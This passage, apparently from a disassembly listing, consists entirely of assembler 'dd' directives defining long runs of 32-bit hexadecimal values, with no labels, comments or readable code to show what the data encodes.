dd 0AC4A6003h, 0E9CF896Ah, 8F6B1A15h, 2B257FB9h, 6431F672h
dd 25BC1001h, 0F388E897h, 93781E34h, 8198D719h, 7E5D544Ah
dd 41FBF1D8h, 24007EBBh, 5E29E381h, 0C5224BBDh, 7B32E4DCh
dd 40F86E18h, 4C377258h, 65102874h, 0B25A00B9h, 90EA8057h
dd 75CA7528h, 0BB594AC2h, 31124616h, 50EA70D1h, 342728E8h
dd 3E0FA01h, 58A0E908h, 17EF2702h, 771446B0h, 7C522349h
dd 515B2560h, 1CAF3D49h, 0FA01AD04h, 2DFEF612h, 0D92530D8h
dd 6804E294h, 0E1E836C3h, 1F7AFC4h, 0F028D704h, 0B9699AE4h
dd 426B00CDh, 0E6811F9Ch, 1E0D8F13h, 460F2440h, 94296A70h
dd 0E9C30689h, 2874E57Fh, 84A08079h, 669713EBh, 6012C781h
dd 3FAE19E9h, 5054C5A5h, 2F25FCC1h, 7155EDC2h, 7B35E04Eh
dd 194C5207h, 49220E1Ch, 37E96502h, 0F5316FD2h, 7A426902h
dd 0E3277D71h, 234FA47h, 0B402D478h, 8641FD89h, 0A058C928h
dd 0E9F0DE06h, 99BC542Fh, 0CD6E02B3h, 27A82A48h, 0A9118CC5h
dd 64CF61FAh, 56F50288h, 0B9B11A8h, 0EBA5EE79h, 0F7135A56h
dd 16D35DE1h, 9485860h, 48A0A406h, 355B1E3Fh, 0E4B496F4h
dd 4AC78006h, 0C95F5AD8h, 99820178h, 2040F605h, 0BB80B0BDh
dd 0AA081242h, 60580E11h, 0B833CE84h, 0E10788Ah, 0CB80667Dh
dd 0E92F6495h, 6B741F31h, 0F6CCD0E6h, 7606C2EEh, 6343F488h
dd 0F579E485h, 3551F001h, 2EDC11Ch, 0E6AC6230h, 59574C7Ch
dd 0FF381805h, 0E863850Eh, 1A424EE1h, 0A4523C68h, 6CE81F97h
dd 4B348A5Fh, 81E402F9h, 6E081B02h, 25C5EBD0h, 731D3B14h
dd 3E40E50Eh, 0D5F73A63h, 342D1C01h, 0E9211764h, 0FC2F806Eh
dd 767FC628h, 270DCE05h, 4BBA6BB5h, 0F6870600h, 80CF5A0Fh
dd 0C63548D8h, 8A7D174Ch, 0D1B5A42Fh, 0C288B4Fh, 0DB42455Ch
dd 6269D4C1h, 510560D1h, 886B5BC1h, 4AE4DAE7h, 79AA02DBh
dd 31C4C8ADh, 98527FD8h, 0DCECB525h, 5CFAD092h, 0B91A5362h
dd 67FF1202h, 0F2571792h, 0C291272Bh, 0C5327DE9h, 0ED876389h
dd 1D9A40C8h, 0CD09BD55h, 0DD30AC01h, 338908A2h, 8FB7B5C3h
dd 671744A2h, 0E2401BD6h, 82208525h, 9CC9728h, 2323AAC1h
dd 0DD837DC5h, 5BABEDABh, 42F21250h, 2F5899A9h, 1F0B2890h
dd 844A6050h, 7E133C78h, 0ABBF9598h, 89482EBh, 0D08903E2h
dd 0F55CB9BAh, 0C9BA562Dh, 974194DFh, 5A16857Bh, 5C0CCE8h
dd 4B723C25h, 7442D81h, 41391488h, 0C55E30FAh, 655817CDh
dd 68C2927Ch, 147D33BFh, 1F94BDADh, 5F5BC49Fh, 45F5043Bh
dd 0EF01852h, 64CEF536h, 0D9A92FEFh, 4CB9C7Ch, 0FB177E2Dh
dd 3DAE0525h, 0CF292E5Fh, 0D7246326h, 0E0121C3Fh, 7FC5E2B5h
dd 2A895CE9h, 0B8148AB1h, 74E027D7h, 9F5A4065h, 0B19D0770h
dd 0AEE1B46h, 59CDC24Dh, 74338444h, 0B9E38903h, 0AC529048h
dd 8224925Bh, 0B5D11BDh, 0DA82A754h, 8014CC38h, 0B54BC808h
dd 0AF6EB555h, 10420C83h, 719C501Ch, 0A5E2B24Bh, 94EAEC40h
dd 4F358024h, 300D3EEBh, 68481F12h, 13329400h, 0E34236E2h
dd 2C1D5120h, 13FADA76h, 4F2EB8C9h, 5C94BE2h, 9E869CDDh
dd 0E47FF218h, 513F30C2h, 29DBF15Dh, 0A4430A30h, 12901E5Ch
dd 0CC1313Ah, 0D216D99Bh, 0AC52308h, 0FF291301h, 781DFA21h
dd 0C70B562Eh, 13104457h, 39EF1795h, 0AB080488h, 430B56C0h
dd 15F1AE4h, 80FEEC7h, 2AFC83EDh, 4BE9F03Ch, 0C022B89Fh
dd 5166FAB0h, 20E390B5h, 0DAF18A83h, 0B7DB4BE2h, 21C06884h
dd 626B2B97h, 0E1576148h, 2001F1CFh, 0A4CEB629h, 0F0C96193h
dd 4EFFACA1h, 0A0F46625h, 3F5BB036h, 0A1DB0D74h, 81080555h
dd 68EA9DB2h, 0F5688015h, 0FA2A454Dh, 0CE164F92h, 7D4C5213h
dd 3DC96913h, 3A203001h, 0E53E47B9h, 2F346EA4h, 0E12E5499h
dd 43D93A80h, 904E8EFCh, 0FD855BF4h, 0B10B960Fh, 0B984D3B2h
dd 13B0E0A4h, 92C1216Ah, 7A2067D0h, 405E275Ah, 0E273F6ADh
dd 0E18D6F31h, 0F7286106h, 0F901371Fh, 68592981h, 4B9172FFh
dd 17F64225h, 39CC8DF4h, 0BF9040AAh, 0C342D196h, 10500994h
dd 49F1D1B5h, 1F670904h, 308868C4h, 0DF0CCCAFh, 60D5E92Dh
dd 2ED92CEFh, 108CC0FEh, 0B4B24F51h, 855998DEh, 0E4300339h
dd 0FCCB7468h, 597021Bh, 7BB42A4Fh, 7B3087Fh, 9F11DA2Dh
dd 0F54903D3h, 509F479Eh, 1E350373h, 39BB7D75h, 95290B26h
dd 0BCE9F631h, 8A2BEB65h, 13E3D040h, 52204F39h, 0E7E7926h
dd 0C1E8D121h, 1C04054Bh, 975C0CD3h, 5E9D2768h, 0A2950CE6h
dd 55014E45h, 0EA2F3D66h, 631A46FEh, 0C92C7F71h, 0CABBF993h
dd 60E06BDFh, 2F4A8568h, 0DA49BCA6h, 14CB6882h, 0FA66F4A2h
dd 62180F0Bh, 56789F71h, 74D88845h, 0EEEF0C31h, 6A118803h
dd 392D6E70h, 0CA567F8Bh, 0C4A0AC50h, 0FA311F25h, 54CC9162h
dd 0EAC1C5F8h, 61AE0917h, 7CC821E0h, 26A4D0ECh, 5226A90Bh
dd 558A7B42h, 0CC55B414h, 1B803ADCh, 7CFC7C64h, 0E2E3203Fh
dd 9E2D3B5h, 0C1F44E5Eh, 1473A763h, 48F03110h, 6801FAD6h
dd 23962781h, 0C9D4E1DAh, 5702B407h, 0D9D93892h, 84C6C269h
dd 2DAF2105h, 40E9D879h, 136EAAEEh, 1BB3EDFEh, 6FB0C83Fh
dd 172C6CE8h, 641E5942h, 0E92548DCh, 2B5DD647h, 16C3F63Ah
dd 5F21A30Fh, 242E4DE0h, 0A858816Eh, 120E3691h, 0AAC96AC6h
dd 7833E17Eh, 0EC0C6282h, 0BB640F58h, 8DE6AB4Dh, 5CCC212Dh
dd 7393E92Ch, 0C20057A6h, 5834861h, 63FA4C01h, 816A0841h
dd 2B9CE929h, 2D5B88ECh, 0E3042AC2h, 330DA7F3h, 2C2DE122h
dd 0FB12E78h, 8059CC01h, 82F423F4h, 786DBEA0h, 4EB55743h
dd 4A4CF601h, 0F744C80Ah, 2EDD748h, 699F1868h, 11485D09h
dd 45301F0Dh, 7C6D0C66h, 28955B92h, 0C7D25BA2h, 0E94542FBh
dd 30000E87h, 74012CC5h, 4869F686h, 58C98684h, 0F62D1CF2h
dd 3196CCC0h, 3C13FD7h, 6433665Fh, 0C2825470h, 3511F7F4h
dd 3214BC55h, 0E0EF2D6Ch, 9803E744h, 8959098Dh, 4F7A332h
dd 2F355ADh, 1365D24h, 0C41F4B4h, 13E90131h, 42FA637Fh
dd 40B9B94Dh, 0FB94C573h, 0B0A4F827h, 0A33B4F59h, 0D8551080h
dd 0C0C5FE02h, 0E0FF04EDh
dd 90EA880Fh, 848B5D03h, 25BE5131h, 0F0500D5h, 96CB7E21h
dd 9B072004h, 0A5E904DCh, 8C67FA94h, 0E4E409A2h, 0F3732D67h
dd 2012D3E5h, 0E62B90E1h, 9BF85AAh, 179E57ECh, 0C157E1CDh
dd 0C7588CC3h, 0FEE811A7h, 16B3910Ah, 0E1DFF9E1h, 2B80EDFFh
dd 50B95AD7h, 750C374Ah, 3C5FF931h, 0F23F13D6h, 0D5150015h
dd 1452A7Fh, 0DA24D177h, 0F588C69Fh, 0BA29124Bh, 2D00918Ah
dd 60EC4B48h, 5F766225h, 55E0457Ah, 62014124h, 0F00A3200h
dd 5B60E972h, 4015E7CDh, 0AF5D8FFDh, 6FAC5F0Fh, 4B594F1h
dd 0DD27EAADh, 6057B3E1h, 7B1FCEBCh, 5F0B1A07h, 0FA4A200Fh
dd 96344F79h, 0D83A3E30h, 0C2D23D28h, 4AC76885h, 0B2008D59h
dd 5FB353E5h, 0E2C33980h, 0F699EB82h, 32C352D3h, 0DD880FA4h
dd 6864D9C9h, 1F7AE39Ah, 0A42330Fh, 0BE9AEFFCh, 5BEB62C5h
dd 8251D549h, 7CA2F8Bh, 5314081h, 80982349h, 59895D27h
dd 0A99BA4E0h, 820208D9h, 81674D1Ch, 6D7ECA7Ah, 839C7964h
dd 3BF0B67Bh, 34F7F65Ah, 0F508D75Ah, 0F729A0DFh, 5768E113h
dd 634DBDF8h, 0AA4AFB84h, 0F12FB98Eh, 9DEF030Bh, 1C770905h
dd 482F8FEEh, 0E957B09Ah, 0B8525EE5h, 0FF7BE741h, 0A5512290h
dd 58824EB6h, 77704349h, 0BFE615C0h, 0C546B16h, 772902EAh
dd 15FC5A39h, 9E2315h, 5F549CBFh, 64EF8729h, 0C44F064Dh
dd 204980C6h, 2509D36h, 91889EBh, 370C3165h, 7EFD201Dh
dd 0A3153A0Ch, 122EA273h, 8559AD4Ah, 6D44AB6Bh, 9D1CF3C4h
dd 0A556D532h, 8CBE6631h, 3507h, 2A21548Ah, 0D998334Bh
dd 5E0CA1F7h, 46DF6682h, 585A1828h, 2E5F0881h, 0E91372F6h
dd 0BE17C492h, 226625CEh, 0F5FC8F5Eh, 34EBC1Eh, 0EA65314h
dd 609E2C72h, 5B6158BBh, 0F331373Dh, 0DA223082h, 0E91392F5h
dd 0AF41651Fh, 72C980C1h, 0F6D0077Fh, 0FDA3F4D9h, 0BB0F7872h
dd 64052B5Bh, 0DDEFDBE8h, 0C76BECD8h, 0CDF22DC0h, 0B01D6E01h
dd 94B16E3h, 160BFBD5h, 0A885D508h, 0F63290D2h, 883A50D1h
dd 5ED8BAC8h, 44899182h, 7487FE67h, 43DB37CBh, 0C40930B8h
dd 0DA5A89C8h, 46C486E9h, 891077h, 282BEA81h, 95291EE2h
dd 7AB2B5DCh, 0B25964BAh, 496E2061h, 8782E98h, 0F018595Bh
dd 0B5D69154h, 519F7CB6h, 0FD510C85h, 0C897D6B5h, 24503C4Bh
dd 9D591E3Bh, 549AE0C5h, 0B30F5364h, 439203EEh, 23AFEBD0h
dd 3A9C09Eh, 16BA78F6h, 0A81E08ADh, 0B1518B39h, 7AD041Dh
dd 0D09FF413h, 282D2E7Ah, 0D09FC359h, 241865EDh, 20D7983h
dd 77F33B8Ah, 0D7A28155h, 706E6701h, 0F262E9D4h, 0F66D48BDh
dd 5008C0DEh, 102C8EB0h, 2E0C01Ch, 405E8C3h, 34E690B2h
dd 0C608009Dh, 0A1F68058h, 0E7B248E9h, 0E6DBD9A0h, 293EB0F8h
dd 9D0196F2h, 44F0EA3h, 94DFB7Eh, 55A12956h, 0C037B990h
dd 39EB4BC0h, 0F643453Dh, 40C9AAE1h, 24030421h, 271918DAh
dd 7BB5DC70h, 472F3EEBh, 0C39EE3FCh, 3028EAA4h, 0FE5BD269h
dd 0B1671294h, 976E26E1h, 9BC5A7E2h, 0DC1889A2h, 400F493Ch
dd 0C9CB89ACh, 5DF36222h, 7F9487ECh, 0B6B41E2h, 580740D8h
dd 0D3F75F52h, 681FE28Bh, 3454A445h, 801A1163h, 4250051Dh
dd 435035F1h, 6D624E56h, 0D59671F1h, 3BEE2BA0h, 22491F2Dh
dd 0E0EF2540h, 0B0CD3176h, 315B5EACh, 488666Bh, 0BAB901C4h
dd 0EF39277Bh, 681F9A51h, 0A4B273AFh, 0AC6FE502h, 2FE0D223h
dd 0DB3F1203h, 0AFE6D10Fh, 40680066h, 7339C40Ch, 0B70397B7h
dd 42B8D28Ah, 0C10C1CE7h, 0F53CAEEEh, 17E04302h, 6948AFBCh
dd 417B3CDEh, 620E4E3Ch, 59CCEC30h, 0C19DD40Eh, 87EFF564h
dd 1BE964CFh, 5D2516ACh, 6CB9658h, 0BC137E03h, 72602C09h
dd 76C84DD8h, 17A82CD9h, 0BF70AE5Ah, 42BC70A7h, 0F408414Dh
dd 39D7F3F2h, 0DC193AF8h, 0E2C51156h, 0F6E5D040h, 92D2627h
dd 843155ADh, 240C02D9h, 0CC3D043Ch, 0A155A812h, 0C304D755h
dd 20EB6C01h, 0E4FCD7FCh, 86DA036h, 80E2EA4Fh, 80CAFE80h
dd 12F231F2h, 2CD0281Dh, 0E9515A02h, 504C97Ah, 59E5E46Eh
dd 1281681Bh, 0B4908C77h, 270692B8h, 3D500E57h, 45D95197h
dd 5064D3E4h, 6A4EEAB1h, 4A7F44F3h, 28BFC39Eh, 0D38A9E27h
dd 0EF56B53Fh, 17AFCFC8h, 0E027E101h, 7F983E3h, 0D8C5EB05h
dd 0F72B52F1h, 0A6257D48h, 5A1B777Fh, 79D0D8D2h, 24EBC124h
dd 0BD78C30Ch, 0AE42D68h, 0AFC6F356h, 0EFC60483h, 0C04CF7B4h
dd 76685E71h, 0FD534962h, 6FC7F4F5h, 55D02929h, 16160BDh
dd 0BF5725DAh, 5CAFD856h, 9288873h, 7D2D5E00h, 0F674970Eh
dd 4F6D6744h, 8F0C7EE1h, 52BD5F0Eh, 0C5EA05C0h, 0EF647009h
dd 0C43E9539h, 0E779EA96h, 0D72B5525h, 5436E50Bh, 1771277Bh
dd 601B8525h, 0FB21E952h, 5EF59BC4h, 45741687h, 554911F2h
dd 5A41AF4Ah, 6C3F1930h, 0B855282h, 0A58F062Bh, 29FE5942h
dd 0CEB7A075h, 58040C14h, 0DE28A519h, 0E90A09A3h, 65CEBA7Dh
dd 0E99ECDF6h, 0D189BD17h, 0B095E82Bh, 0B4D1E3E9h, 267CE90Ah
dd 40339AAFh, 19795246h, 865E4E75h, 0ECCBE5EAh, 0BC02B951h
dd 3126BE11h, 0FDDA55CEh, 0BBE9D709h, 2AC11047h, 0A2186264h
dd 0B30FFEE5h, 4532AED1h, 81FD652Ah, 265D6E8h, 0EF51E364h
dd 32906831h, 4A2516F5h, 0DBC0807Bh, 4C4B4751h, 770E1CB8h
dd 0E2C01074h, 1BF12DCFh, 0E80BC3B8h, 8E63C41Dh, 14D24CBAh
dd 0B13A4ADBh, 0D6CF2403h, 44EC1005h, 6140558h, 0D9BBB020h
dd 25910D02h, 78E1FAE9h, 0F70DD87Ch, 0BD877BD0h, 0F5003DC7h
dd 6AA46C46h, 263DB931h, 26711E8h, 0A57835F6h, 0C523E109h
dd 0F48E0738h, 0BF3BBE00h, 5B5164E8h, 6EB47ABBh, 17CCEE13h
dd 0EC574F3Ah, 4EFED13Ch, 5DACEBEDh, 87D5F70Ch, 130460EFh
dd 0AC0C9584h, 0E69017D7h, 0F3C013E8h, 437C2D74h, 65972FB8h
dd 96E984E9h, 0CE84C8A2h, 6A026717h, 8BDE6504h, 0C2215B02h
dd 1FC13C3h, 4BB8504Eh, 0F86606C0h, 28A64987h, 8D064748h
dd 66508E41h, 4EFDCB0Fh, 0D6AC73DCh, 1C0A2203h, 3627F309h
dd 88A35101h, 9C2451BDh, 0F0A86003h, 7492DA27h, 0EB9A3A0Ch
dd 69558F43h, 0F4537A7Fh, 0CBD95E54h, 0B84A10CAh, 0E4F76613h
dd 0A564BDBAh, 0E1BBEB6Bh, 97E6335Dh, 19362CBBh, 0EA812296h
dd 7AA70225h, 5D21E521h, 160C0806h, 0FB863CF6h, 785B405h
dd 4A7431FEh, 0C2A304BAh, 5B9D277Bh, 2A0462Ah, 17F32ACBh
dd 0DCFCB86h, 0E42D5C9Eh, 4FE9161Fh, 0EF0C43E1h, 0A9ED105h
dd 0A9D10450h, 0CEF9553Fh, 0EE0005B9h, 679C3D68h, 85C5B6E9h
dd 13E53059h, 0A77464EDh, 9177CB9h, 0CD891BFCh, 12980652h
dd 20925C25h, 75B0099Fh, 0AD31E9ADh, 5191E47Bh, 53300713h
dd 4C26408h, 0EE083A68h, 7E3B3A37h, 7A84613Ah, 1F881151h
dd 534CE016h, 0F2D0565h, 62C05CAAh, 4A1CF4E5h, 0BA650520h
dd 0D6C0BC78h, 0C5C49904h, 8494F816h, 400042CEh, 0BE5F1B05h
dd 0D0842969h, 0EA803DE8h, 16D895F0h, 505C519Dh, 0CD5CFE5Ch
dd 9ADE2014h, 4B8FF071h, 1047E3D8h, 5E274425h, 9AC859C3h
dd 1F989118h, 553DBD69h, 86637C8h, 0A865B5h, 0DE6FF9F3h
dd 8939527Ch, 0C4D625DAh, 0D00101C7h, 0E02D7A05h, 0C7C4D628h
dd 0EA2799BAh, 3162A249h, 0A0897352h, 1FCB0BE2h, 71004154h
dd 21658BDh, 0E90CE92Dh, 532FC2BFh, 0EAD11010h, 0EBE2D04Fh
dd 0D9B8D4E5h, 4DFAD9FAh, 0C21B6960h, 0A160066Dh, 362CADB3h
dd 0E1F5BC5Ah, 0EE3880DBh
dd 0A2B4E187h, 0CCA2988Eh, 785703EEh, 66E32F26h, 9B60CD2h
dd 2D1F4A16h, 3F5D3B4Eh, 1073980Bh, 7DCB6Bh, 0E6811403h
dd 70F02B9Eh, 3EE5E2C0h, 5C87F72Ah, 869CADEh, 6563C1h
dd 2D3006B5h, 0E48F58C5h, 4D20C7A9h, 80DAB652h, 0E53C63Fh
dd 0D4FE06E6h, 0AD807B88h, 4E042F68h, 2BCA0C19h, 5881A4A8h
dd 3F2F0D68h, 2FAF929h, 7309F069h, 14F42998h, 0CF81C934h
dd 60EB7D9Ah, 0F0B7D767h, 0C4D9099Ah, 0DCF0F377h, 84F17EE3h
dd 225EA76Ah, 4146252Ch, 0F6789A92h, 0E9FAD99Dh, 5C5F8216h
dd 177BC7CBh, 863A8ACh, 0BA82CA1Bh, 77BC4C1Bh, 48FD7AE0h
dd 3DA8409Eh, 62CCC7Ah, 140277DEh, 0D76A6E3Dh, 8059FCAh
dd 0ECCFBB5Eh, 50BE909h, 894F9759h, 66BD6030h, 0B2AF4F0Fh
dd 40CB107Ch, 34010405h, 6EE0BD1h, 4E1D4130h, 2BFEEBEh
dd 7439680Eh, 0D3AE6B47h, 9F57C8E7h, 0BF609508h, 14E18915h
dd 7D70CBEAh, 0F768FA0Bh, 12B2756Eh, 0ABD6C80h, 811D4D5Dh
dd 0E217D3CDh, 0CF58F00h, 0BF279B4Fh, 8785BDE2h, 5EA6F390h
dd 7209CE85h, 13817F99h, 2DB3E2E9h, 82622D59h, 5F5E54CBh
dd 0CEBACA3Eh, 835F200h, 0A3E91139h, 972C96C0h, 8100B951h
dd 0C2B4846h, 82FCF07Ah, 878DCD5Fh, 15CACB7Ch, 165DA5B6h
dd 51E927AFh, 385F0161h, 1634881Ch, 0F91C9308h, 687D55BAh
dd 12568E4Ah, 0B15A27C6h, 35F22B24h, 41A2F4Ah, 53386806h
dd 0AFA6C91Dh, 4188F0F6h, 16C1A7C9h, 4CD82AB6h, 432607F0h
dd 1CC1E961h, 0EA72312Ah, 0A008D568h, 0F07C0602h, 89C9FD32h
dd 6C57E8C2h, 72E98209h, 0E85ED69Bh, 3F830992h, 6159C75h
dd 771B5BDh, 8792B641h, 5A3CFD90h, 0CBAA9846h, 8B02C439h
dd 0F886B61Fh, 0C4F0A2D2h, 0C1810349h, 6DAA6340h, 359F0C05h
dd 5DC4B7EEh, 0E98290BAh, 0CB91B971h, 5078C680h, 5F21A818h
dd 0B0D2FCF2h, 28208EEAh, 5BC14026h, 0C4D5E298h, 60B73F16h
dd 9D4F2850h, 947D89C2h, 48BA051Eh, 0C0611D6Dh, 1558AD77h
dd 9822C4Fh, 0E1202238h, 8678DA42h, 72C3292Eh, 8B07210Eh
dd 5D48097Bh, 0DD48BC2h, 2776808h, 85573F2Dh, 41860BF7h
dd 0C42C6682h, 38F89574h, 0F852E6EDh, 4A71BE59h, 3F4829ABh
dd 60985EB4h, 79EEE350h, 0A87B46BEh, 6ECCC927h, 5B1E9DD3h
dd 4AC5C4Eh, 85848158h, 0F9FC4BEEh, 1120A4B5h, 0E0C74123h
dd 44125B5Dh, 25EB5E71h, 0FCF6E5CCh, 0DA911A19h, 69BF5780h
dd 9141D59h, 6EBE4AB8h, 0D1255F5Eh, 0DDCB0826h, 0A308EF2Ch
dd 0E4D925D2h, 676DC60Eh, 33F2B2E6h, 203464FCh, 41BC9FF9h
dd 857D88h, 0B233C7BDh, 0C5058136h, 0DF35F75Eh, 0E185E3C2h
dd 172E6E63h, 0B9A508Eh, 9F95D3Bh, 37F52BCDh, 804A1AD7h
dd 4836AD5Eh, 0D1292E07h, 690820A5h, 0E1824C87h, 6DD63F88h
dd 7CDA3560h, 9687529h, 0B163FABFh, 7FEABAD7h, 0C5893EECh
dd 1544F185h, 32939CBBh, 0D5C8564Eh, 0F65B7859h, 29A0A8D8h
dd 4AC5EEE8h, 5EBAF4FEh, 47157913h, 0B2DBFFC1h, 205ACB6Eh
dd 3B1D273Ch, 80D280FEh, 0DB6D708Bh, 0F3E9252Ah, 0BF7660E2h
dd 2A1F463h, 70D4C379h, 0BED677B8h, 0C17DB100h, 0BAA8E90Dh
dd 815B5E9Dh, 7BD3D7F6h, 914BFEE2h, 2A585040h, 0FBD020E2h
dd 3368A41Ah, 19EAE26Ah, 25E91D42h, 4036665Ah, 85400391h
dd 526800BAh, 0F1B93E88h, 2C7F55CEh, 5ABE5F27h, 35C70085h
dd 0F1817A13h, 69047B1Fh, 76B4E93Dh, 0F66850AFh, 0EDA04118h
dd 262C23CDh, 321FDF2Ch, 2A2D1E60h, 68430275h, 275923A4h
dd 0E849F5BDh, 52ED5B54h, 0D5DAC57Bh, 3EBAA6A9h, 0E62D2568h
dd 0D163200Fh, 3F90C29Ah, 773E6D01h, 0D8F74043h, 35D00580h
dd 0BC88C195h, 0E9127BB0h, 8DB2B5E4h, 8048129Fh, 26F2B959h
dd 0F870DC30h, 1B785F28h, 4D1F715h, 79DE140Bh, 4489DDA4h
dd 7E1CB4E9h, 17108ECEh, 0E2077E84h, 23D3448Ah, 0B1B04DB2h
dd 0CE435B42h, 38515982h, 29DD7813h, 0C51478DEh, 3382F1F6h
dd 9543AA75h, 914F3758h, 40D29A22h, 0D6090D61h, 9D08C508h
dd 0C28007D5h, 56CA3033h, 4095D2F6h, 80E76974h, 2A1E272Dh
dd 0C28C76B8h, 0AC69DE5h, 0B906320Fh, 27ED16E9h, 0F3117261h
dd 0B2553DABh, 0BB5155B0h, 308C448h, 0AE4B3BEEh, 0D7280C6Dh
dd 33C21786h, 50B28FECh, 8C2C514Ah, 8D7A17EEh, 5A7DAE43h
dd 4E65D1D9h, 0AA92D563h, 9DDBA136h, 0A9E94D10h, 59EA0A92h
dd 78913B4Fh, 0BF006FC9h, 46712647h, 0C1BC81BDh, 0E3105EBh
dd 585245D0h, 1E1803DFh, 37C27F42h, 4B557D3Ch, 1484B100h
dd 0B6525D6Ah, 245A1B0Dh, 0BEFC80A3h, 4E90FB1Eh, 0F197C14Bh
dd 0B6DC2BD4h, 8D4A9C56h, 0E897D0E0h, 224AE1D2h, 4E17F1A0h
dd 7EBFDDDFh, 7F103C52h, 35EF93DEh, 5D0BBBBAh, 0C9938418h
dd 0E6BD5500h, 0B84CF19Ch, 0DE5D2572h, 27625A3h, 0D4AFC69Dh
dd 0C3645A69h, 246E8F27h, 0E9461C93h, 293B9DAFh, 2422A5EEh
dd 49AFED3Ch, 6D485B63h, 5588664Bh, 0FAE4E557h, 0D76DAB96h
dd 55896897h, 40F4796Ch, 0D0E44748h, 97BF8598h, 7584CABAh
dd 813A6188h, 3637C168h, 0BDE11656h, 98588E8Ch, 7A5D31C5h
dd 3ECB019Fh, 7BE01634h, 10B2DF56h, 0EFA07FC0h, 88BB4C59h
dd 49194827h, 0C380803Fh, 0B5515304h, 78C1FE14h, 0EB05A644h
dd 4BDAECC6h, 0A5AAF93Eh, 9D1FD2AEh, 0F15FBCCAh, 9F7B09C0h
dd 59582614h, 0E9072DEAh, 206F6902h, 4D411A26h, 93136B5Fh
dd 48591CFEh, 442D7F43h, 28311A1Ch, 0F14C4858h, 804312B5h
dd 4C0377D4h, 938B823h, 7F823755h, 8A08DFEh, 0B141CD0h
dd 58592933h, 58A3836Ch, 1481051Ch, 629EB3Eh, 96C9ED96h
dd 130B46Ah, 391B739Fh, 0F902C296h, 96431061h, 0EAC05900h
dd 29E28007h, 0B03A1895h, 7B009773h, 92E9CB0Ch, 5B328595h
dd 0E9B278EBh, 0B403BE7h, 0F97FF0F5h, 799826h, 0ECFDA669h
dd 6C6A4005h, 286F235Ch, 3D91072Dh, 17BE008h, 161201B9h
dd 0A23CE842h, 10B014D0h, 357B1CBCh, 9C785EDh, 0D29A39D7h
dd 0FB884ADEh, 0F4C38138h, 0EC741DBEh, 0E9BD952Dh, 0BBE151F8h
dd 0AC70946Eh, 37E0378Eh, 7F59EB02h, 50454768h, 0D1B15107h
dd 822ED9F6h, 0D76C21E9h, 123FC447h, 2CFBA3C1h, 479D5B90h
dd 0A3E98464h, 4231BE38h, 942660C1h, 5685505h, 86804569h
dd 9773C8B5h, 0B83C6095h, 0E90BC493h, 2429E8CDh, 4F285430h
dd 167DE2EFh, 0E3025EBCh, 0E9F616ECh, 22C4FDECh, 0D24A6841h
dd 0C27E77B3h, 2CD48D0Ah, 20CC5749h, 65B9E924h, 0AB0152B8h
dd 1389F800h, 14977B06h, 9962C2E8h, 2803E08h, 0DC025222h
dd 9C9A0250h, 3169702h, 40105C1Ah, 0DD106A81h, 230C1011h
dd 187B1C10h, 0E928C465h, 0C708C6E7h, 8031188Dh, 2D17086Fh
dd 184C7190h, 7F28A6D0h, 0A3448094h, 0FAFB10C6h, 72182008h
dd 31682E20h, 752807D0h, 0D808B605h, 50F63308h, 8110E120h
dd 0D619D561h, 119C94Eh, 0C201F751h, 25089554h, 0B56D1884h
dd 81245D10h, 44E19C48h, 1B882060h, 20C56420h, 0DF20D15Eh
dd 57B83182h, 884E7A10h, 8D24008h, 83088226h, 7EE50CD9h
dd 0F540E630h, 1088EFB4h, 0C508FF31h, 0C1680896h, 8CB3E0Ch
dd 186662BCh, 0A2034C3Ch, 0A610100Eh, 0EA4E1991h, 77FF5108h
dd 0BF94A818h, 0D718C49Fh, 20F20409h, 822B406h, 20552731h
dd 888608Eh, 40CA29Fh, 40D42032h, 8CFD4885h, 85B8210h
dd 0F48A54D2h, 2B10C438h
dd 0DBC2065Ah, 91373208h, 0B4A39018h, 819D7B2h, 96182FDCh
dd 0AA46DC51h, 0A4A3A802h, 8190147h, 6C18AC4Ch, 842BB451h
dd 7D92088Ch, 0B140BA20h, 104A6315h, 4132353Bh, 0A21018B8h
dd 2416AE4h, 4B038A39h, 0A12010E4h, 949A186Eh, 0DC950110h
dd 20A4EA08h, 0CB6233CAh, 0E4FF6E1h, 1D08D888h, 0F3DA0848h
dd 8F16108h, 620C7A8Fh, 0CA6710A5h, 8C90F751h, 73207FC7h
dd 0B9088666h, 8E3B32B1h, 3C496808h, 0C2E54701h, 0ACA6EEBEh
dd 7B62F1F0h, 4F88408h, 41A8916Eh, 5310886Ah, 0A8210885h
dd 8274708h, 7E0ABB5Eh, 7892B87Dh, 85B9848h, 908E059h
dd 9B030C84h, 0DD549010h, 198199F4h, 7EBEA453h, 4D34069h
dd 3230C94Dh, 480D0871h, 0C97FE1FCh, 24221B10h, 0A504182Dh
dd 0BD62D491h, 19CF001h, 108DF476h, 1179E3EEh, 2CAB094h
dd 0E620488Ch, 81DB839Ah, 75250810h, 8CE41524h, 0D4088037h
dd 40182162h, 0E1AB02F7h, 34C6002h, 82A30A0h, 0F4639832h
dd 98D5D79h, 0E8FC9C29h, 8E77A492h, 1E4B0CE6h, 0B902BF8Bh
dd 0E3A04818h, 2752C47h, 8963EB78h, 7AA7B90Eh, 105003Dh
dd 49408F44h, 750BC90Bh, 0E748BF7h, 3DE814Bh, 0DC29B9F0h
dd 3C0331Eh, 304FB10Fh, 52AC2C0Fh, 0DAF665B2h, 992D6AC3h
dd 9DE701EAh, 1E9688EDh, 4B52270Eh, 0A34B0E0Bh, 5D6005Ch
dd 4112FE26h, 0E153C31h, 0C01AB45Ah, 0A39015F1h, 72E92F36h
dd 0ED813976h, 45830FA2h, 0A02EBC2Fh, 7526E9EFh, 6E30B72Fh
dd 70B5F089h, 68EA08ABh, 990308C2h, 33A971Ah, 0DF69230Ch
dd 28E6016Ah, 0C410883h, 2FAD3014h, 64033817h, 30BBB301h
dd 0C53EA4BFh, 0E9D4D0CFh, 82CE0E03h, 0D9D1C449h, 13183EE6h
dd 0EF8012CFh, 0D08410C9h, 15799FFFh, 790F76Bh, 54C03611h
dd 2777F681h, 0A71C5165h, 7EE7DBE8h, 0F3CE4F1Eh, 0E6FE253Bh
dd 5BBD0456h, 0F8449356h, 0C381628Fh, 0EAB9E46Bh, 0DFF7FD50h
dd 0D55F090Eh, 77F8BECh, 4A269D38h, 0C6138FEh, 0CB1C4980h
dd 16552DA8h, 195A9D17h, 90BE5621h, 5D5E1274h, 2A3B29EBh
dd 4B9879A2h, 25BFBCE9h, 46341449h, 73291083h, 0BAF84A86h
dd 0E4680E70h, 0DA4CB70Dh, 6968C5BFh, 8B629D7Eh, 75ED550Ch
dd 1B962688h, 83CF5858h, 16E165F4h, 0C66381B1h, 77E57E8Eh
